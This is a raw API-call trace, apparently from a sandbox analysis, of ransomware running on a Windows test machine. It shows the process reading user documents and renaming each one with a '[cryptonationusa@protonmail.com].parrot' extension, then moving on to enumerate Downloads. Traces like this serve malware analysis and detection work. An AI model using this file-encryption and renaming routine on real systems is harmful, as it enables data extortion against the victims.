RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.254] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\fJstq.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\fjstq.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\fJstq.doc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\fjstq.doc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.256] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.256] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.257] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.257] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1180, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1180, lpOverlapped=0x0) returned 1 [0092.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.258] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.258] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\IPaxhungLUY3qzy.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\ipaxhungluy3qzy.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\IPaxhungLUY3qzy.pps.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\ipaxhungluy3qzy.pps.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.262] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.262] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.263] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.263] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1d64, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1d64, lpOverlapped=0x0) returned 1 [0092.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.264] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.264] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\z-E11QocM.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\z-e11qocm.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\z-E11QocM.ots.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\y74syxi5hwqd4_xvf_\\z-e11qocm.ots.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.267] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\y74syXI5hWQD4_xVf_\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0092.267] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.267] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.268] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.268] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x22c9, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x22c9, lpOverlapped=0x0) returned 1 [0092.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.268] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.269] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\Zgu6m8DRaziC6u3oP.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\zgu6m8drazic6u3op.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\Zgu6m8DRaziC6u3oP.rtf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\zgu6m8drazic6u3op.rtf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.271] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.271] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.272] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.272] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8c2a, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x8c2a, lpOverlapped=0x0) returned 1 [0092.272] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.273] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.274] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\zpFY1vi21e gN-P.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\zpfy1vi21e gn-p.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\zpFY1vi21e gN-P.rtf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\zpfy1vi21e gn-p.rtf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.324] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.324] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.325] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.325] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x61d3, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x61d3, lpOverlapped=0x0) returned 1 [0092.325] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.326] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.326] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.327] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\_KDT54Fsbx9d.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\_kdt54fsbx9d.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\_KDT54Fsbx9d.ppt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\suuwhb6tsawk7a\\_kdt54fsbx9d.ppt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.331] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SUuWHB6tSAwK7a\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.332] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.332] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.332] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.333] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16098, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x16098, lpOverlapped=0x0) returned 1 [0092.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.336] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.339] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TMWkDIUO5u5y.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tmwkdiuo5u5y.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TMWkDIUO5u5y.xls.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tmwkdiuo5u5y.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.342] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.342] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.343] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.343] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf0f9, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xf0f9, lpOverlapped=0x0) returned 1 [0092.343] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.347] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.348] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UYub_ieUmnOpM_7FnpV.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uyub_ieumnopm_7fnpv.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UYub_ieUmnOpM_7FnpV.ppt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uyub_ieumnopm_7fnpv.ppt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.351] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.351] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.352] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.352] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5c59, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x5c59, lpOverlapped=0x0) returned 1 [0092.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.354] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.354] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uZltNih8sD7G.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzltnih8sd7g.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uZltNih8sD7G.rtf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzltnih8sd7g.rtf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.357] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.357] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.358] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.358] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x181ad, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x181ad, lpOverlapped=0x0) returned 1 [0092.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.361] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.361] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.365] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w0402ySPFG.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w0402yspfg.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\w0402ySPFG.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\w0402yspfg.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.368] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.368] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.368] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.369] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5af2, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x5af2, lpOverlapped=0x0) returned 1 [0092.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.371] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.371] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WTNDdMPxAgM-.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wtnddmpxagm-.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WTNDdMPxAgM-.ods.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wtnddmpxagm-.ods.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.374] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.374] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.375] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.375] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17e34, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x17e34, lpOverlapped=0x0) returned 1 [0092.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.378] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.378] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.382] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YgzxnP.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygzxnp.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YgzxnP.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ygzxnp.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.386] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.386] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.387] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.387] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfb2f, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xfb2f, lpOverlapped=0x0) returned 1 [0092.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.390] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.390] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.392] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Zbs2I-cAM_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zbs2i-cam_.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Zbs2I-cAM_.odt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zbs2i-cam_.odt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.394] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.394] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0092.395] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.395] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9016, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x9016, lpOverlapped=0x0) returned 1 [0092.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.398] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.399] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_Oy2lq2hpCYZqi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_oy2lq2hpcyzqi.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_Oy2lq2hpCYZqi.xlsx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_oy2lq2hpcyzqi.xlsx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.403] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.404] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.405] lstrcmpW 